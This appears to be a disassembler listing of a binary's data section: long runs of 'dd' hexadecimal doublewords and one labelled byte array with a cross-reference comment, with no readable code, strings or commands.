dd 0F02238h, 90DA01E3h, 125BACD4h, 1F61F2Ch, 4835DF3Eh
dd 1611CC56h, 4841EC39h, 78C4A028h, 7F6791Bh, 0D25B0A9Dh
dd 0F059E35Eh, 0C152101Eh, 90116DC0h, 7E1A6226h, 0BFC51AB9h
dd 8C288Dh, 0E00D298h, 49E53258h, 8C631Eh, 2A213818h, 8E33C7A2h
dd 0CAD7E101h, 454461E3h, 0C0C4F970h, 0CCE4F4C0h, 240334FDh
dd 0C208F885h, 0E5C3C0DAh, 0DC86095Ch, 0CE009E76h, 4D9CBC6Bh
dd 0A494D924h, 0C1755700h, 0E10DE5h, 0F2A6F540h, 83EBB1EAh
dd 5657100h, 60C561AAh, 6D3C00BCh, 0E6334739h, 7B90324Ch
dd 0CC1A9000h, 6E286724h, 0CFBB02D7h, 4DACF6C2h, 81408042h
dd 8B7E49A5h, 0E244EE0Bh, 224D0017h, 3CD9952h, 0FBC5E478h
dd 0D960F51Ch, 7328FEB0h, 0DCEA09B8h, 24214CFFh, 0FCDF10DBh
dd 19006BFDh, 0CAAB8F5Dh, 2A5649h, 0EA958934h, 21CEA966h
dd 3EC21504h, 0C08040A2h, 1E0B74Ch, 50397413h, 0C8C81D3Ah
dd 0F7027625h, 6334D598h, 970687Ah, 0C2A80032h, 9277FF3Fh
dd 10F26607h, 86296B01h, 0D8CA9E6Ah, 6B611421h, 9487ECh
dd 47D31BA4h, 0E2706FABh, 0D5B03B03h, 0B8EB2314h, 50A67Dh
dd 0AA1B308Fh, 4B37A316h, 0D962F800h, 0A8AF13BFh, 6EC90041h
dd 0B17802E8h, 0C6008EC3h, 55A96A71h, 0EF75374h, 0A63861C5h
dd 0CD40D820h, 0DD079856h, 0EEBA6BA7h, 0AE3AADA0h, 2E7700E1h
dd 34BCF135h, 0D000AC59h, 2D024A7Ah, 187F475h, 0EF74D99Ch
dd 801CF52Bh, 15477E18h, 3A7DC53h, 27F0BE62h, 67A8F9E2h
dd 0B07CBA2h, 38DDFAD0h, 0C0FF1C02h, 2D48D0h, 3E4365F5h
dd 0E6B2C657h, 89A93B14h, 5870180h, 419463F0h, 613680F3h
dd 35AF039Fh, 0C611A68Dh, 0C89CF6E1h, 3F03CFCCh, 97C259A0h
dd 0FF81B868h, 0E00E0020h, 2E01431Dh, 0B37FEA48h, 0AC553D0Eh
dd 2206C080h, 0EB28EDAh, 59E2230Fh, 9A280072h, 871EE744h
dd 0AFE6BB00h, 0FF160CE3h, 0D4CC0166h, 4878DC25h, 4BBC20B3h
dd 0D2549412h, 0DA82A002h, 0CA461B7h, 42146C1h, 4732D8h
dd 389BD497h, 0FBE8D8BDh, 0B0F43050h, 0A48D2503h, 80A7027Eh
dd 60ADBAF7h, 5B4058B1h, 7B58D8FFh, 0C49E008Dh, 0FA16C572h
dd 0DB73003Fh, 8D4D8807h, 0A00566Fh, 80D2B060h, 3AD3194h
dd 0E9F0F9CDh, 29B838B1h, 88005447h, 41E1F123h, 0B26D4BCCh
dd 91BD0428h, 90A87DB4h, 0F4CA4D58h, 28E4AA00h, 7F66C965h
dd 0D5EA0096h, 20810698h, 48391145h, 6F460793h, 33D09F23h
dd 0EEF9C610h, 2D150008h, 0ADB94C7Bh, 5500E6C4h, 1DA437Fh
dd 12B59517h, 0F26D12h, 0AA49AE39h, 6A00DC52h
db 53h
byte_520045 db 0BFh, 36h, 6Eh ; DATA XREF: ___:00437A30o
; ___:00437A48o
dd 0AC57C6h, 69731E39h, 1BD96C85h, 98FB9400h, 8E09F9Ah
dd 0F88100A4h, 0EF1C60A3h, 26011573h, 661B8651h, 8E704691h
dd 29340181h, 9C013CBh, 30C6173h, 75F8BBF7h, 0B80069BDh
dd 6D2EFC9Ah, 0E7265Ah, 8564B0F6h, 288FF9B5h, 1C0340B8h
dd 9E46E6Ah, 521A8D4h, 79649A20h, 1A6C1662h, 370C001Fh
dd 0E025950Eh, 0B3011BEEh, 5F27A453h, 60DE8974h, 394B419Ch
dd 1C804408h, 0E4835168h, 0D200991Fh, 0EF98387Bh, 450C7Fh
dd 42C7BEA8h, 0D9504E67h, 461AD712h, 0AD0F7002h, 250AC097h
dd 825203D5h, 0E529E630h, 437949C0h, 100A3F2h, 0C7EC7620h
dd 0F699B3h, 5B25D10Bh, 0A4BB083Ch, 0F97E0F00h, 0EBCFE696h
dd 7A4D0062h, 0B0D86C33h, 0C01539A6h, 298116Ah, 5F3CCADEh
dd 209CE02Dh, 25840051h, 98CE11D6h, 0C01A843h, 974FFD5Eh
dd 0A4C0B7C0h, 5DB61F02h, 0ECE691h, 0D8729F2Dh, 0DC15B5EDh
dd 0E986235h, 816DE6CFh, 914096E0h, 8563C8h, 0CB165C87h
dd 0F6ED224Eh, 8AF9EB00h, 66CA6E13h, 8D6748FCh, 0BD99051Dh
dd 1E7E8186h, 0CA0011C2h, 5A216722h, 2CEAFFh, 4BCEA0FDh
dd 0D75D28F4h, 53FEB300h, 94A3979Ch, 0E3F227h, 1A9FE752h
dd 0A13EF2BEh, 0A5483AFCh, 2B57008Ch, 6CA3219h, 3058006Eh
dd 0D8EC1FFBh, 9704759Fh, 46C5C67Ch, 23D944C1h, 1408870h
dd 0F1AD1712h, 0D5B21F73h, 9FA040B9h, 435C5F0Fh, 191300E4h
dd 0F8AE297Eh, 0CE5A0010h, 0D3E0A582h, 55946AB5h, 44FE813Fh
dd 0CA730A9Ch, 54348E0h, 1201E9B4h, 0C7201D82h, 80EAAD84h
dd 8847182Bh, 4A82C00h, 8C359438h, 0C96A1D6Dh, 80EFDF46h
dd 0E6DBB24Ch, 9D001D7Dh, 8B3F6CABh, 1DD3DFAh, 962346B0h
dd 0A03C7E6Ah, 0C001CF10h, 6693733Ah, 20832297h, 4AA73E0Ah
dd 0B3BF8FC0h, 50275700h, 0B6F19345h, 90A30060h, 3CEA01B0h
dd 751FA156h, 85FCCB78h, 400ECD9Bh, 0BE1CF805h, 3AC79006h
dd 0AFD50010h, 1A69067h, 1A054F63h, 0FFE1B7B3h, 954090C0h
dd 23EB0B65h, 41DEBCF8h, 3E38882Eh, 0DE750006h, 26DBD49Fh
dd 913C0559h, 80703EACh, 0F3174A6Dh, 8A02B4F6h, 0AAFB0F87h
dd 0E4B8C025h, 851400B3h, 16305F05h, 21056CB8h, 70825198h
dd 2700A81Ch, 5FA84CB7h, 31EB00D8h, 0A173EC42h, 64387C72h
dd 0C1974DCh, 0BF91805Dh, 6C713DCDh, 0CA229ECh, 0D978CEBAh
dd 9DF07170h, 0E5405496h, 7BAA144Ah, 0BCAEC76h, 8B2B2A0Ah
dd 65C1AD03h, 18C0969Ah, 9DFE1DA6h, 0D100EE75h, 8E4BCD06h
dd 718E66Fh, 1A1E566h, 9F850BBh, 9B90CCA9h, 0BD13400h
dd 91908D7Ch, 18AA6956h, 66E0C800h, 0A900FDEBh, 2A98BA0Dh
dd 7831B8h, 2591206Ch, 0C2683F0Bh, 4B27E501h, 0ABD6944Fh
dd 16589DF8h, 0AAF75h, 2E5A663Ch, 3DF0AE27h, 0C0C0B62Ch
dd 0FCA4E800h, 551DCB2h, 5F8A073Bh, 828C0199h, 0C8E5C0CAh
dd 0A0003CB3h, 6F7BF81Eh, 76D3FE5Dh, 9C9019h, 0A60108D7h
dd 7A18489Dh, 0B8FC0A24h, 0DBC78607h, 9B80C650h, 0FA9C0BA7h
dd 0DC80F19Dh, 0D3477BC1h, 0C7732603h, 809BC3AEh, 36890Bh
dd 0F502BC1Ah, 63167DDAh, 4808C94h, 0F85C9546h, 89680108h
dd 6C66E526h, 0E3D9F82Eh, 39006FF2h, 0D4925B1Ch, 17B312h
dd 0F996B25h, 51F944E7h, 8FC37B05h, 0F48084DBh, 663473Eh
dd 11F6F3D7h, 5900385Ah, 545B0C8Ah, 51B460h, 4B5663E1h
dd 74C84EDAh, 0ACC9F624h, 5B51FBBh, 0A5D51300h, 78189Ch
dd 21094923h, 1CE89D34h, 0C1AAF800h, 929A2DDDh, 379703ABh
dd 60D1C246h, 0D327DED0h, 0FDA83404h, 0DCC080F3h, 20E632h
dd 0D451F03Bh, 89601584h, 9AD76100h, 89DAF63h, 64290322h
dd 5C0EECA3h, 0A4523F82h, 0F973DE01h, 0B9B41EE4h, 26A990E4h
dd 0EDC069Eh, 4E208993h, 0CF1AEEC3h, 9A6D4200h, 640B075Bh
dd 0FCBC097Bh, 806016FFh, 4803CF88h, 0FE0E262Ch, 60D5A2E4h
dd 137AEB74h, 0CB34C1h, 0B4EE7B5Bh, 68008F9Bh, 8D4578F9h
dd 3F7E0E32h, 7CAB66h, 1AD44987h, 2293FAFEh, 21177700h
dd 10C17392h, 24130011h, 0D4A596B6h, 0CD00FD85h, 0EF67A7C0h
dd 30FBB844h, 0B6807D2Fh, 27FC1FBFh, 556BDD00h, 0D053C15Dh
dd 1B63035Ah, 0E2B0627Ah, 0D65E44E0h, 0E5879100h, 5F52166Dh
dd 0D2890003h, 0BA4504B1h, 400177D1h, 0D69B75FDh, 0B17E5A87h
dd 10DD4699h, 7B0D1F00h, 0BD09E079h, 5FE33193h, 0CC1B9E88h
dd 5A00E67Eh, 35B0505Eh, 72EA7E1h, 0FF09892Dh, 7B7D30DCh
dd 1E00BA82h, 0B587511Ah, 0DF8DB3h, 2A3050D6h, 45765FBDh
dd 1ED39500h, 39F1F6C8h, 0AA5100E2h, 44A11A8Bh, 0BE1F4DD7h
dd 1640BC08h, 24F97C48h, 61F07DCh, 71E8AC7Ah, 80BDE97Fh
dd 39281628h, 3C7917FFh, 0FDBA8BF4h, 3ACE2580h, 0BA06DE8Eh
dd 54401D0Fh, 0EDAA80F7h, 0F2FFB1h, 0C89B3569h, 2A7F5F0Ch
dd 0BDA78B00h, 5D9C737Ch, 0E2E0ABh, 76376CFEh, 0D68DC470h
dd 68919A00h, 0E3117D95h, 232700D9h, 0E0763F13h, 0DEAF107h
dd 8032B63Ah, 0FFF303BDh, 0B59AEB68h, 0D2F87A80h, 5C3EE7E8h
dd 0B46B0A51h, 0F100AC06h, 9C2A4C64h, 0E581004Dh, 0D4C27274h
dd 9639C835h, 289A806Eh, 8CEBA45Ch, 92930082h, 69BF1F3Ah
dd 0E4004BE8h, 248BA2B5h, 0B511475h, 7CD9FC49h, 0CC01B80h
dd 0C900AF2Ch, 0AEFD33Bh, 286CAEFBh, 0E4FBBD74h, 67190072h
dd 25D4BC43h, 77009FC8h, 9E20573Ah, 5CC5CEh, 91277CF1h
dd 0BE0D1B31h, 23770200h, 49FAAB70h, 39E70F01h, 87BC53B2h
dd 0E07AE272h, 0EF1116B1h, 7BA3731Eh, 0BD858600h, 1EB56E82h
dd 40C767A0h, 9F92383Dh, 0AB392F9Dh, 34C9A8h, 8BCDC20Bh
dd 20345A9h, 0B8ECF90Dh, 6C4078B1h, 4009E0CEh, 805DEF49h
dd 0F513F2EFh, 0DFE70FDEh, 0F080BA39h, 636E0467h, 730285F4h
dd 8C9D74A8h, 405A60B8h, 411303FFh, 0E191CE57h, 0AC786888h
dd 4C481FF8h, 0DF630358h, 0C823ABB9h, 681EF9h, 0BC382B9Dh
dd 0E1184FBEh, 27595306h, 12A06D4Dh, 7FFDB05h, 74A6C4A4h
dd 25648055h, 0D9007F62h, 7859BD32h, 0B9686Fh, 0D2AAAD26h
dd 5F233EE6h, 41FCF40Ah, 803FB7F7h, 843C270Ah, 29B445h
dd 22734635h, 0C034835Dh, 49118800h, 3DE9F68Ah, 3A8C7E3Fh
dd 0B38075D2h, 0BFEAE296h, 0AA00063Ah, 0FEF47B7Fh, 499032h
dd 0F88FA707h, 0E87C2F15h, 3BB94700h, 0FB7580A8h, 313000F4h
dd 0C8948944h, 0D4925D43h, 0B35C1200h, 0F0BE22D6h, 0CF453E07h
dd 778CD800h, 3578FF9Bh, 1E9728C0h, 1207A971h, 1C9FEEC6h
dd 8EF42BEh, 0A3C0EDF4h, 0F900D293h, 0D85A1C83h, 0E78730h
dd 701343FAh, 0BEAFAE5Dh, 47D8900h, 8E7A2E25h, 45600083h
dd 0E6394BCEh, 5B3B9F8Ah, 6E5F8B26h, 0E0D70E8Bh, 0C8431EC7h
dd 0FBB000F5h, 6F3BB6E8h, 0FA3FF6ACh, 8B36002Fh, 96269BC4h
dd 4DE1016Bh, 0F48F25A3h, 1B4EFC43h, 0AEE0D57Ah, 1276B73Dh
dd 400EB998h, 717AE177h, 22C4B0C7h, 377B02h, 5404FD7Fh
dd 9009885Bh, 786A54Ch, 70AD2EDBh, 0BF620190h, 5F163D52h
dd 140B28h, 0E46D54B0h, 0CE74DCE7h, 0ACF98719h, 1FD01768h
dd 0CFD7E0A7h, 0DE0FBC11h, 0EF865981h, 1291BD42h, 8C1EFF41h
dd 62153801h, 0A0CB3635h, 122B9726h, 31FF417h, 2D0B5DC5h
dd 0A0CCB0C0h, 0A8BD3A24h, 8B1F4C87h, 0DF2B602Ch, 0F6DA0148h
dd 892083C5h, 808BE720h, 96BC3EA0h, 347C0412h, 87360A62h
dd 2140CA8Bh, 0D4150F4Ch
dd 0AD9D73C3h, 7CB277A3h, 9A43148Eh, 70877D21h, 0D4B187B8h
dd 0FF001BFEh, 0EB0BC6E6h, 0A68490h, 307E284Ah, 0A744E40Eh
dd 598DD200h, 29B2412Bh, 45FF00FEh, 8AE501F6h, 4F00DA1Dh
dd 6C6DB935h, 74B91F5h, 690CE0A8h, 2A514013h, 957A50B6h
dd 4FDEF400h, 47FD1290h, 5D8003C1h, 1579C55Fh, 6B608BA0h
dd 954C4F00h, 6ABB22B6h, 5A120033h, 9D58066Dh, 0F2031E1Ch
dd 0F5B1089Ah, 8F57E827h, 0DF0500C9h, 0AE5BC2E4h, 0C6F820FDh
dd 92F935B0h, 75110AF4h, 0FD8F03B0h, 0D818E06Ah, 66A0FF9Ch
dd 21340802h, 65E56E00h, 4BE6A3A1h, 880601FEh, 773B9FF9h
dd 1B862A5h, 75A97D64h, 0E0FB89FCh, 369AE416h, 78108A7Ah
dd 14B0D798h, 0C03680C8h, 18CC6519h, 9A22EA46h, 6521121Dh
dd 57903A80h, 1812BA4h, 97ADF861h, 9E2DFCC9h, 0B88B2F29h
dd 11000C15h, 44372E3Eh, 20EC0164h, 0CBFC1F2Bh, 0F9215DA7h
dd 70BEC80Eh, 0E9B70D01h, 0F06DF6Ch, 44BDAAFFh, 9ABA1C10h
dd 906B405Dh, 0A85E4524h, 0DA9BA305h, 0B580289Dh, 0C19BF89h
dd 440EF2Fh, 0C8001B39h, 0C53623D1h, 6686BD62h, 215A086Ch
dd 0D1D0C60Fh, 0ECFFC18Eh, 1980BE73h, 0E65483F4h, 0DE0ED36Dh
dd 0AFD69386h, 842AA07Fh, 7AAE50Fh, 9636378Eh, 3780BAF7h
dd 6B1C01F8h, 91080DBh, 693C5C78h, 302B0070h, 1F9A4134h
dd 1800908Eh, 8E0317Fh, 7C407573h, 44C63C4Dh, 0C1F6B687h
dd 244710A0h, 0B50041DFh, 6D73D0B9h, 3840FB9Fh, 0D583192Ch
dd 7A4DB448h, 0C997AEE1h, 0B789E0BCh, 67490500h, 8F3F7BCCh
dd 68280F73h, 0E6805E4Fh, 0E838C8FBh, 8D791500h, 8AC2BB6Ah
dd 0FA0900B1h, 274E2B0Ch, 21CAACAh, 9407BAFFh, 78D03CB3h
dd 7C58B67h, 45592180h, 575FB064h, 0F81DB8EAh, 77C2BCF0h
dd 406512B1h, 0E956A82h, 570531E2h, 4A2A1C23h, 7ADEC0ECh
dd 580227DEh, 0B99A9140h, 5BA5C0E9h, 3F8D06F0h, 913C1396h
dd 3E23ED07h, 9B404630h, 3F614D21h, 6480F4BAh, 8C7D6A42h
dd 5100860Bh, 0C1DCCC9Dh, 0B0C5977h, 37CE032h, 0AA00C85Ch
dd 704CA9BAh, 97801A4h, 21498DFFh, 0B088E522h, 45EC3668h
dd 8C0100EBh, 78079853h, 2AF8BF43h, 0E9BCFB00h, 57766B0Eh
dd 0E41F004Eh, 99B8361Ah, 0D33EA43Ah, 8F03F725h, 7798237Ch
dd 7F53A847h, 0FFE10080h, 0D79D35B4h, 0A9010CB6h, 0CB84586Dh
dd 87F42D1Dh, 644700FAh, 0E6EE66DCh, 33006528h, 7F5989F2h
dd 449E17Dh, 41AD2798h, 0A001FF72h, 18C07ABEh, 0B1B2C8h
dd 9F3AD22Bh, 0E16171ABh, 3E73F707h, 31C099C9h, 1D11C6BCh
dd 2C0217h, 96DAF3Ah, 183EEA30h, 0F5A89683h, 16892800h
dd 3A049Fh, 4048A6C5h, 2C1568EDh, 764C3100h, 29EAE88Dh
dd 0A7EF0027h, 0DC4E9430h, 0D703D251h, 4A5CCE6h, 90C4F36Dh
dd 316729B9h, 6F28DDA3h, 422817CAh, 0A324A73Eh, 12DE0F21h
dd 0B99510BEh, 89A8CF88h, 84CA08DEh, 42AAFE22h, 0DBC911ABh
dd 7F087621h, 841790B8h, 6248D11Ah, 24BC7C42h, 0A76F2113h
dd 35238E12h, 549BD87Bh, 9D7D004Ch, 5376EF8Dh, 6000AC33h
dd 6B4EB1A8h, 7D863D07h, 0D5F000EBh, 6520049Bh, 770063C4h
dd 0F90F55B7h, 0B86D72h, 8BE9475Eh, 0F8B5C58Ah, 6C0A7100h
dd 2B338465h, 0FEE6FCh, 7B83E3B2h, 0D2AC469Ch, 5DD66E00h
dd 0E24C0CBFh, 9690007h, 0A4844808h, 8E0076C1h, 24C8DD19h
dd 427F0Bh, 0D8708883h, 0BE975027h, 719E300h, 625D85C9h
dd 98110043h, 3FD7323h, 0FE00B769h, 66414E91h, 4839C0h
dd 0AA0CCA42h, 6A68A5C4h, 9DFA000h, 0A6537D6Ch, 0D9BC0130h
dd 2CC25D48h, 1CF6C81Eh, 0B934CD00h, 0E44BC606h, 0F0AC06CBh
dd 68BCB22Fh, 14BEB100h, 0CDEDFB51h, 0DEA23C30h, 279C9D80h
dd 50174E6Dh, 7A222A18h, 8920310h, 0D7E2FBC0h, 0A0657000h
dd 3F6A39h, 55D385Ah, 503ED920h, 0B716FE00h, 84E45379h
dd 0E62E0008h, 0F7EB10E0h, 990C6639h, 0B8FFE58Eh, 7AA5001Eh
dd 0F16BA059h, 390127EFh, 0D74079B8h, 0E3F461DBh, 0DFDD00F5h
dd 0AF46C568h, 2F056AACh, 0DAA5E813h, 7869A800h, 1EB131DDh
dd 0C0FFC86Eh, 3043850Eh, 9607D9FDh, 97E68133h, 4B6E4A80h
dd 0C417013Bh, 8D717227h, 9BEE20E2h, 0D07C5500h, 0CC86E1FCh
dd 0C5E8ABh, 72EC8F6Dh, 2152D7D3h, 75B8204Ch, 1A03507Eh
dd 0BFEA7628h, 2F8BC042h, 0A36B05E2h, 0C0D80AC3h, 996451EEh
dd 0EB95DB00h, 82883C84h, 579F0B5Fh, 58005D07h, 0FC966E8Ah
dd 0D584FD00h, 808C5315h, 0D3760049h, 95F74A40h, 0FDFCF2A3h
dd 0F4735228h, 29586100h, 124B1EFBh, 1D773E34h, 9300133Eh
dd 0D49FC90Ah, 2700FEE4h, 0A5F26F15h, 4E3FCBh, 8D3C9A14h
dd 0F3554521h, 2CA2FE00h, 2923D738h, 227750h, 7DA57FE4h
dd 5E34245Ch, 4310E1Fh, 5440885Fh, 125DFDC1h, 48E6002Fh
dd 0DDC0C346h, 3E005C4Fh, 0DAB8E07Fh, 0FC61451Eh, 32D30008h
dd 0F7058E2Dh, 7601504Ah, 3BE0171Ch, 0DDC5D04h, 2D6424D2h
dd 93FC9104h, 0C1BED300h, 50204Fh, 0B36A8F53h, 0BC3A1A54h
dd 8035A33Fh, 0E0F5D72Bh, 197CDEh, 531F792Dh, 1EB6D15Ch
dd 71ADA324h, 1CC7081Eh, 32349FE0h, 22B8A880h, 9712009Ch
dd 9A4D230Fh, 0E1EDD82h, 6D00054Ah, 56B722C3h, 0DB51F24h
dd 3E196CEh, 4F5FCB1Fh, 3663EBB0h, 40866E1Ch, 3222E600h
dd 7EB948BFh, 23BD33CDh, 0C0849AD0h, 3D4509FCh, 0ABE7A000h
dd 127182E9h, 899001Ch, 1BBE4DDBh, 6C906E8Bh, 16680D0Fh
dd 0D238E0BFh, 0F313B6h, 7D3CDB3Ah, 0EE96557Eh, 8314D53Bh
dd 0D9DA56D7h, 0B7EF9374h, 0B0E4E04Fh, 72803FA2h, 0AC0102B6h
dd 4AAB922Ch, 0B5E8AC98h, 0A406BA00h, 26812A03h, 0D67596h
dd 468374B1h, 0E41A44EFh, 2DC011DDh, 0A132B06Ah, 49AF0FC7h
dd 4AE2EE03h, 9A60593Dh, 0D539915Ch, 0EF0B8FE5h, 0E2C31EA8h
dd 0F79C1C49h, 0CBCD5620h, 0F0DA00AFh, 8905066Ch, 6F07F3B3h
dd 8BB0E93Ch, 0F82C5DC0h, 6D360380h, 0B1F710CCh, 0C09B70E1h
dd 0B80969B3h, 8E7E3188h, 6293A0B2h, 9096798Eh, 0CEA400DAh
dd 0FCA1F348h, 0B102B37Bh, 0CF218415h, 2318C0C1h, 0FF320181h
dd 0A07661A4h, 28ADC0B0h, 0CB8AD0A0h, 780AC100h, 1761ECD5h
dd 12AA037Bh, 29CCA260h, 4F7E2BE0h, 0FDDBEB00h, 0B99C3897h
dd 0EC080031h, 0E606E3C9h, 2B1F8A03h, 654F2D47h, 8D00B09Ah
dd 52DA8678h, 0A70245D0h, 0F5C1CA7Ch, 773C606Ah, 0A02A0E06h
dd 3C209038h, 7CEFFC21h, 64809D00h, 498CA2BDh, 655B0752h
dd 7060ED30h, 0E2464413h, 0DA58E900h, 1F0EBD76h, 315B0002h
dd 0BFA3573Dh, 3800BE90h, 0CE28148Bh, 0B7C84F1h, 0E541EEFBh
dd 4F3DCA81h, 35D6F01Dh, 0E411DD65h, 0ECD2898h, 0B9D63A2Ch
dd 0E0DBC6C7h, 2E6B505Ch, 0BC845A01h, 6EE0A604h, 0BD143E0h
dd 5537A2F8h, 0C7E1C70Fh, 6045D2FEh, 94006D2Ch, 23E4ED3h
dd 714F7F7Ch, 8F2200A4h, 0C51C8492h, 5C1EB8B2h, 6B003479h
dd 0A2A4EC0Bh, 0E2D8001Ah, 29F89CFAh, 450E23DAh, 603BE4C8h
dd 0FB63EE8Bh, 788C05Fh, 0EAB2CDA3h, 6B348F04h, 14C04D98h
dd 5E91AEh, 0F2D75286h, 0FDC40C78h, 0FF64E300h, 6E5CEFDEh
dd 9F020061h, 0CA8F26A1h, 0AC008C40h, 5BEBD648h, 2B6097h
dd 4F247779h, 0B6330F88h, 906B6200h, 0FA1E39CCh, 7C6A001Fh
dd 0ADE03B05h, 0BC001B55h, 3DA1836Bh, 0F74E61h, 222CB7EEh
dd 0D4DC3BAAh, 1B70D900h
dd 1F55CD06h, 0C46E00C5h, 0C78A52B8h, 9F01F85Ch, 49CD194h
dd 46ECA105h, 92B70093h, 0FDC651EEh, 82874D2h, 6507C0F5h
dd 7CCF49F1h, 9F9C8730h, 15113E7Fh, 732CEA00h, 91181937h
dd 0FADE1B3Bh, 0B7A084B2h, 0B005EB5h, 0D1BD16DCh, 0DAD221h
dd 441A3EA5h, 36A0154Ch, 0D7BB1E00h, 86173A93h, 0BDD10A8Bh
dd 81A4C5A4h, 0BC0962E6h, 0FA11CC2Eh, 694D1E01h, 4A2BCDDAh
dd 0E8CC55DCh, 0B5D00E0Dh, 5B0008EDh, 8CAB5A6Eh, 5C028400h
dd 9FE17516h, 55EAF9h, 0FAF70F41h, 90C0562Ah, 0A0E29112h
dd 5200CC16h, 989CA782h, 0F5693E74h, 1D2E4F81h, 20298E5Ah
dd 0AB5C2AE0h, 0BA99000Fh, 0DB3750B3h, 1320039h, 9FD86CC9h
dd 6E2E1D10h, 0A4006A0Bh, 60D99058h, 0B498A8h, 23C3A603h
dd 0F4A74BAAh, 0BA45591Ch, 0AD00E0E4h, 52D9F198h, 0A84E0013h
dd 5BBB75ACh, 611419CCh, 3909E95h, 78238F35h, 0E5BEE891h
dd 0C98C004Ch, 0F91CC3A7h, 6F003154h, 0D37A38D4h, 0A7C5DD2h
dd 0D078CB61h, 0FC1000E4h, 3EAA0BAFh, 8006753Bh, 0C4F4B9C3h
dd 9F891E73h, 0A8002678h, 1AB7BF20h, 0D38C4Eh, 4A506021h
dd 3AEB0C07h, 0F0151F0Fh, 8FD9E538h, 0CC7D1CC0h, 44B0088h
dd 3A1D7C44h, 0C448E8F9h, 947600A1h, 407B1B14h, 0C3133C8Dh
dd 755E7200h, 4BC5305Bh, 6BFCF700h, 0EC77F8B5h, 90A0010h
dd 4367914Dh, 0F60E3016h, 20B0ACC0h, 37CA8CC1h, 0E2050ED9h
dd 5AA04D67h, 885C36F2h, 0D4490724h, 32DE2200h, 80C7DFh
dd 0FA1B46D1h, 9B3FB71Ah, 0DF8E400h, 1340CF6Ah, 0E2170049h
dd 0E867F104h, 0D000C1F5h, 0C0F38AD4h, 39EAF6Bh, 5BA3CC91h
dd 9E28BF0h, 0A71A060h, 19FBAB00h, 0C73A75A0h, 5806157Eh
dd 4508B867h, 5E0243B1h, 0C0B25C57h, 0C3AEC6Ch, 0A29FF058h
dd 53001C10h, 471AD93h, 97B6470h, 2A7AA4Fh, 7CF3EA83h
dd 12AC5FD0h, 3702DAE0h, 0D1AE828Bh, 0E8FC60D9h, 407885h
dd 5648CF8Fh, 0B46F8D8Ah, 3D876B38h, 0DCF99F6Eh, 0FB2CBD40h
dd 1549A51h, 0F4688A0Ah, 30694344h, 65177EDFh, 0F000CFF6h
dd 8BB97711h, 22D5014Eh, 0C00DCA04h, 0DAC2F0E3h, 398F993Dh
dd 45B78074h, 0BBF4425Fh, 0E41E012Fh, 0B15DFF0Ah, 0F2E0F775h
dd 0C808BC22h, 235946Ch, 0AAA873DCh, 210008ECh, 9F241497h
dd 52C71Ah, 0A2CE529h, 8A96B6EDh, 0BBBC4701h, 0E2A8D7E1h
dd 45BAC50h, 56E080BDh, 0D3CD6185h, 3170609Ch, 0D400767Bh
dd 0D3D2530h, 5CFBC2DBh, 0AC405BD5h, 16120091h, 0FC693F1Bh
dd 0D034765h, 66AFB38Dh, 0D47891F2h, 79438E30h, 0D00F00CBh
dd 4D6FE58Fh, 0FE0002E6h, 0A0F34C54h, 0AFF7D5Ah, 3A3EE382h
dd 630C03BEh, 93C80D86h, 8A0FF31Eh, 5FC13507h, 59983C1h
dd 4430A6BEh, 7B470052h, 0CB128FB6h, 8118D650h, 0A5F0FB48h
dd 8D0900B1h, 0F547080Dh, 0D1003EDEh, 2DA9D4D5h, 0D96432h
dd 1EDA42DDh, 0C5F92C36h, 3EEB9A00h, 1C4B13F6h, 117D1D56h
dd 6595CB30h, 0C09C4C07h, 5D316015h, 0B9E5B228h, 7693F503h
dd 0F03389D7h, 7C28BDh, 1FAE1738h, 2237C03Dh, 0DE9075E2h
dd 72059578h, 0A2D1F3F2h, 0ACF85780h, 0EAE201A7h, 82619157h
dd 7FE06458h, 1DD3427h, 1677418h, 3EF2CC50h, 2449092Bh
dd 400B7Ch, 0CE0788A8h, 0E71BA2C6h, 4B60A04Bh, 0E22F72h
dd 28088E32h, 0FF71ED50h, 7B928040h, 0FBFC1415h, 0D928E896h
dd 7ED27ABEh, 0F853012Bh, 57430F67h, 683830C1h, 72D87003h
dd 0C00E9479h, 0EAF584h, 520D7895h, 176E0FF2h, 0E41BFE24h
dd 9BB79A00h, 7158B137h, 13810079h, 0C097B0C2h, 0C50BD48Ch
dd 78D601h, 0FC02FF04h, 687079h, 0F7DF092Ch, 33497BC2h
dd 0D469CEC0h, 9811F26Ch, 0B0D10828h, 5360723Ch, 1FC6F98h
dd 0FFE15027h, 0DC69035Bh, 6101FE94h, 43250586h, 0AE31F8BEh
dd 4215889Eh, 1ACE323Bh, 0CF24FC8Eh, 1D988131h, 16C05060h
dd 0A5409D3Bh, 748800F0h, 1E199EBDh, 8A1779E7h, 48019312h
dd 0A339CF08h, 2D20C440h, 453B0746h, 909740A7h, 0AA010B10h
dd 51A0923Ch, 0EFC5DCB4h, 0D04B3900h, 0E35DE65Bh, 19BD00C9h
dd 9B365070h, 56488A1Eh, 0AC91003Ch, 35255559h, 0F66900B5h
dd 5682B4Ah, 7503CBF7h, 0E6480A0Fh, 0C0A7C0B1h, 946E6047h
dd 4E8CA3FCh, 0E20BD48h, 60536BEAh, 10F37558h, 0D8A04DF6h
dd 89AD8E0Fh, 2E5DCB80h, 0DD0BFB4Bh, 80771FE4h, 0A9A0684Dh
dd 3660002h, 0CA0AEB64h, 8416EE33h, 0C00245AFh, 5240616Dh
dd 2C3100A0h, 0A14B2A8Bh, 56008306h, 5B4FA4C3h, 0D63BB1h
dd 74D168FEh, 0E2DF0FAFh, 393AB814h, 1E11079Ch, 7014B791h
dd 685F4B80h, 0D66C002Fh, 0F4545A42h, 7B094D32h, 8076B416h
dd 0EF772809h, 989E48CFh, 75348482h, 38677011h, 0B0143701h
dd 20F2DEAEh, 0DF249C14h, 738094BEh, 0DB974129h, 0FA89225h
dd 442BED2Fh, 5DBA0F00h, 4C00DC1Fh, 0B10E58C1h, 0EEEAEE4Dh
dd 64D3272Dh, 89270483h, 0A15C8903h, 0C09855B7h, 1A0C3B0h
dd 0F5D77DE6h, 324B3824h, 18DA001Ch, 8DD02B9Eh, 9FD5061Fh
dd 805370A3h, 6513F490h, 0D05CEE1Ch, 0C76D8D01h, 0EE40C551h
dd 445E53h, 0A1FDCBC1h, 0EE0E356Eh, 7812092Eh, 8FB29000h
dd 4AEF45h, 68C29FE8h, 0DFA5505Bh, 0DA670D04h, 0C4A0B5EDh
dd 0B042498Ah, 5048EF3Dh, 0DEA80500h, 0D4F39E0h, 0E3A5E900h
dd 0BC15E643h, 0AA900054h, 0CF777AC3h, 2F00FDE8h, 880AAF94h
